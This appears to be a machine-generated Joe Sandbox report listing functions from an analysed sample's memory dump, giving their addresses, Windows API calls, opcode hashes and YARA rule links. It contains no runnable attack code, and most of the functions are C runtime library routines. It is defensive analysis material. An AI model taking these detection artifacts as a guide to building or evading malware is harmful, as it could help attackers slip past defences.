Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: b8dc98c9874930a13532306a6a10e3306e8423e0c5c98af8810fca8752ba1309
Instruction ID: e765a4f9a7852ccd5722461ea9699e37ddc2d4ca44909cab11527e563e25a4c6
Opcode Fuzzy Hash: b8dc98c9874930a13532306a6a10e3306e8423e0c5c98af8810fca8752ba1309
Instruction Fuzzy Hash: C8A14932A141459FCF19AF68DC91BADBBE1EB06324F14019EF8519F3A2EB359C12CB51

Function 00BA76F0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00BA772E

Strings

+`^z, xrefs: 00BA77CB
.bss, xrefs: 00BA78DE
W<?, xrefs: 00BA7B90
W<?, xrefs: 00BA795B
+`^z, xrefs: 00BA779D

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z$.bss$W<?$W<?
API String ID: 4218353326-2698662740
Opcode ID: 8a7863db13d87ae9d022915183a713c96c12709644d89298eb8c4ba83ac2009d
Instruction ID: e4525b1ea40e7781472a9579757f5ad3dcbfc84d7bb569b96e03cb3acd1c1d47
Opcode Fuzzy Hash: 8a7863db13d87ae9d022915183a713c96c12709644d89298eb8c4ba83ac2009d
Instruction Fuzzy Hash: F8C18C7064C3409FC7249B28CD95A2FBBE1EB86314F60489EF88A97362DA31DD45CB53

Function 00BD8319 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d185699df5c6ad7715a9b12144ae20d9df36e52225e32b76916340d28eae88
Instruction ID: 30cec61593b76ba7f57e15a71230fa1d52ca4efbf03ed7eafe6641808429d6a5
Opcode Fuzzy Hash: 69d185699df5c6ad7715a9b12144ae20d9df36e52225e32b76916340d28eae88
Instruction Fuzzy Hash: 53B10F70A04249AFDB11DF98D884BBEFBF1EF55325F1441DAE4049B392EB709941CBA0

Function 00BD0E85 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 00BD0F0A
__alloca_probe_16.LIBCMT ref: 00BD0FD3
__freea.LIBCMT ref: 00BD103A

Part of subcall function 00BCF779: RtlAllocateHeap.NTDLL(00000000,00000000,00BC990C,?,00BD97AE,C0C2D04E,00000000,?,00BD5F80,00000000,00BC990C,?,EDF9CBD8,?,?,00BC99E6), ref: 00BCF7AB

__freea.LIBCMT ref: 00BD104D
__freea.LIBCMT ref: 00BD105A

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 6ee74ecf115157bc4b25e7049bf49c2b3bd0fc24d5ac3cec69e821ca44642a40
Instruction ID: e499e67c38b2cf447c872f8015a758e3404bbd7a7fb215bb463ff9706165f3c3
Opcode Fuzzy Hash: 6ee74ecf115157bc4b25e7049bf49c2b3bd0fc24d5ac3cec69e821ca44642a40
Instruction Fuzzy Hash: 0251F772610246BFEB216F68DC81EBBBAE9EF44710F1409AEFD04D6241FB35CC509660

Function 00BD6F73 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD731D: GetConsoleOutputCP.KERNEL32(43400BE8,00000000,00000000,?), ref: 00BD7380

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00BC5731,?,00BC5993), ref: 00BD70F8
GetLastError.KERNEL32(?,00BC5731,?,00BC5993,?,00BC5993,?,?,?,00000000,?,?,00000000,?,?,?), ref: 00BD7102

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 51f710324fd2e58f5584f76099381058fa70e04901b647d52941b78e6951c87b
Instruction ID: c8e657b40b3a2165e03b960411484acd1e7ad529ab7bd527764397415552544f
Opcode Fuzzy Hash: 51f710324fd2e58f5584f76099381058fa70e04901b647d52941b78e6951c87b
Instruction Fuzzy Hash: E9618171904119AEDF11DFA8D884AEEFBF9EB09304F14018AE900A7352FB31D905CBA0

Function 00BD12DC Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD14E1: GetOEMCP.KERNEL32(00000000,?,?,C0C2D04E,?), ref: 00BD150C

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00BD16EC,?,00000000,?,C0C2D04E,?), ref: 00BD133D
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00BD16EC,?,00000000,?,C0C2D04E,?), ref: 00BD1379

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: e28b3d0ec5c841670296f417952cd704eabd094565c42a1c361c00065b59640e
Instruction ID: 6cd39c55453ffde88c0218f1e47a891a1370cc1bb862e60075d8b5c5a54bd5a2
Opcode Fuzzy Hash: e28b3d0ec5c841670296f417952cd704eabd094565c42a1c361c00065b59640e
Instruction Fuzzy Hash: 8951E370A00245BEDB21CF79C881AAAFBF5EF41314F1489AFD0968B752F6749946CF50

Function 00BD774C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00BD70DE,?,00BC5993,?,?,?,00000000), ref: 00BD77E8
GetLastError.KERNEL32(?,00BD70DE,?,00BC5993,?,?,?,00000000,?,?,?,?,?,00BC5731,?,00BC5993), ref: 00BD780E

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 8095f470f6903e258b8f6f0839f3e2235ead8a8a1ead694f346f3e65759ba516
Instruction ID: a114f9a06ca0eac217a92c4e77498363c47f94169861028b6bba09bc18543e50
Opcode Fuzzy Hash: 8095f470f6903e258b8f6f0839f3e2235ead8a8a1ead694f346f3e65759ba516
Instruction Fuzzy Hash: 6A216D35A002199BCF15CF2ADD809E9B7F9EB48301F2444EAE946D7311FA30DE42CB64

Function 00BD11D1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00BD10C0,00BED688), ref: 00BD121D
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00BD10C0,00BED688), ref: 00BD122F

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 21f9973384d214edb9cb09d4b4c41433d0f0eeac667ad9342b417648a8a68716
Instruction ID: 16e28315ac1b8674686ed68ee3a8e52b5406b73db211480b82ec56fd7b0b571e
Opcode Fuzzy Hash: 21f9973384d214edb9cb09d4b4c41433d0f0eeac667ad9342b417648a8a68716
Instruction Fuzzy Hash: 5011A5216047516ACB308E3E8CC8622FAD4E756330B380F9BD5B6D77F2E621D982D654

Function 00BD6185 Relevance: 3.1, APIs: 2, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointerEx.KERNELBASE(00000000,?,?,00000000,00000002,?,00000000,?,?,?,00BD603D,00000000,?,?,00000002,00000000), ref: 00BD61C1
GetLastError.KERNEL32(00000000,?,00BD603D,00000000,?,?,00000002,00000000,?,00BD7018,?,00000000,00000000,00000002,?,?), ref: 00BD61CE

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b5e4221fb8dbab6161c1f2c01fa8230acfcefd0397229a11012aac2e28afbb94
Instruction ID: 7d6d155ef116f40900b48ff950136ca0946feb4db15a7be91d2bca3bda23b5f2
Opcode Fuzzy Hash: b5e4221fb8dbab6161c1f2c01fa8230acfcefd0397229a11012aac2e28afbb94
Instruction Fuzzy Hash: 02012632610615AFCF058F59DC45D9E7FA9EF81330F240289F811AB391FA71ED518B90

Function 00BD0562 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00BD0F75,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 00BD0596
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,-00000008,-00000008,?,00BD0F75,?,?,-00000008,?,00000000), ref: 00BD05B4

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 1b08b1d2a2d79f13d6fb5d438ddd4dad2b35bc1523c2260d744902f582736b8c
Instruction ID: 122c7b6a167632991ae3fc314762e4551d2b87ca3ad0dd997677432a60a1a328
Opcode Fuzzy Hash: 1b08b1d2a2d79f13d6fb5d438ddd4dad2b35bc1523c2260d744902f582736b8c
Instruction Fuzzy Hash: 81F0683241021ABBCF126F90EC05ADE7F66FF58365F054151BE1926120DB36C971EB90

Function 00BD6AE3 Relevance: 2.6, APIs: 2, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,CF830579,?,00BD6C71,00000000,CF830579,00BED7C8,0000000C,00BD6BF9,00BCAA61,?), ref: 00BD6B39
GetLastError.KERNEL32(?,00BD6C71,00000000,CF830579,00BED7C8,0000000C,00BD6BF9,00BCAA61,?), ref: 00BD6B43

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1b3eb0aa9b1cf16d6e171edd2001c7f80ef3c2f2609c55106651c96ce1965ca1
Instruction ID: 84e31735fe25b79512224ee58026d61412215c4329722410ab3e721e7f5fe726
Opcode Fuzzy Hash: 1b3eb0aa9b1cf16d6e171edd2001c7f80ef3c2f2609c55106651c96ce1965ca1
Instruction Fuzzy Hash: D911E5336152101AD6252674A887BBEEBD9CBA2734F2502DFFD14DB3D2FE60D8418295

Function 00BCBB35 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02f74d7069a038fcc0f43f124c2b94bba5bf20f184131f93dc109b188632c3ba
Instruction ID: 8966bb46ef05481b2eb341f2e8a1e9f55531a2a9e616ae1b6e215b6b9f6bc225
Opcode Fuzzy Hash: 02f74d7069a038fcc0f43f124c2b94bba5bf20f184131f93dc109b188632c3ba
Instruction Fuzzy Hash: D2518075A00208AFDB14DF58C886FAEBBE1EF99324F24819DF8485B352D7719E41CB90

Function 00BD186B Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000083,?,00000005,00BD16EC,?), ref: 00BD189D

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: d23d81d90928cfeb5b51227decf3f19486138605da341397c86e11a1a9e6cd0e
Instruction ID: 3590ad9af99fbc3053ae4c8bf89498315085409f518770837a2b4a8dfb8ca07e
Opcode Fuzzy Hash: d23d81d90928cfeb5b51227decf3f19486138605da341397c86e11a1a9e6cd0e
Instruction Fuzzy Hash: 865136B1908158BADB118A6CCC94BE9FBEDEB15300F1405EAE59987282E3359D46DB60

Function 00BBFA51 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06794c4b8397599f91764bb65660cc584358ab57a7ae7f7e40e9dce82d94055e
Instruction ID: 7076d17076d3b6d01e5f84379c63ff84461cfc09d1b7473522d7917ac4173def
Opcode Fuzzy Hash: 06794c4b8397599f91764bb65660cc584358ab57a7ae7f7e40e9dce82d94055e
Instruction Fuzzy Hash: EA31523291011BABCB25CF68D9909FDF7F9FF09324B1441AAE502A7690DB71E954CB90

Function 00BD7BDC Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00BD7D35

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: aa5934f764117d8f5563198767bfb6d3eba3c2ac9465a642542327cec8ccb5c9
Instruction ID: 25cfd14940a14ec7435a278685c9ddab4863126d6cb408feea331e042f7ade2d
Opcode Fuzzy Hash: aa5934f764117d8f5563198767bfb6d3eba3c2ac9465a642542327cec8ccb5c9
Instruction Fuzzy Hash: 32113D7190410AAFCB05DF58E9419DB7BF5EF48304F1540AAF815AB311EA71E911CBA4

Function 00BBFA43 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 9085d8865ce97a83106842606b3a8ce00564651a7ab9b772d941b95fdf82524c
Instruction ID: f7c46643bdced7afd88d1108ddc14f9b5bd48742e6f5e4b1f4c0ed4433a31582
Opcode Fuzzy Hash: 9085d8865ce97a83106842606b3a8ce00564651a7ab9b772d941b95fdf82524c
Instruction Fuzzy Hash: F5F06232A186478BCB259A78ED75BF8BBE0FF01338F2442FED056954D1CB924D10D610

Function 00BCF779 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,00BC990C,?,00BD97AE,C0C2D04E,00000000,?,00BD5F80,00000000,00BC990C,?,EDF9CBD8,?,?,00BC99E6), ref: 00BCF7AB

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c6197f4cb7304f86e2833f13dbdec429ff5e48beec1bc42b660aef076b064c3d
Instruction ID: dec58b8cbf1d4468ef2475e1c94589e198b5ff3a1efed6446e7c09a605d83492
Opcode Fuzzy Hash: c6197f4cb7304f86e2833f13dbdec429ff5e48beec1bc42b660aef076b064c3d
Instruction Fuzzy Hash: B4E06D322052666BEB2137669C45FBA7ACADF527A0F2521FAAC45A74D0CF64DC0281E1

Function 00BDDD4E Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00BDD9F2,?,?,00000000,?,00BDD9F2,00000000,0000000C), ref: 00BDDD6B

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1229e7d83d10bb5b5499c3883920884e92c6f271f806f41e0f55359d8f562ff0
Instruction ID: 6b063c5c7905e72dbf870c6fa88d1a62c276208e5bb4340f6319cfcbf72ea439
Opcode Fuzzy Hash: 1229e7d83d10bb5b5499c3883920884e92c6f271f806f41e0f55359d8f562ff0
Instruction Fuzzy Hash: DAD06C3201024DBBDF028F84DC46EDA3FAAFB48714F014000FA1856020C732E862EB90

Non-executed Functions

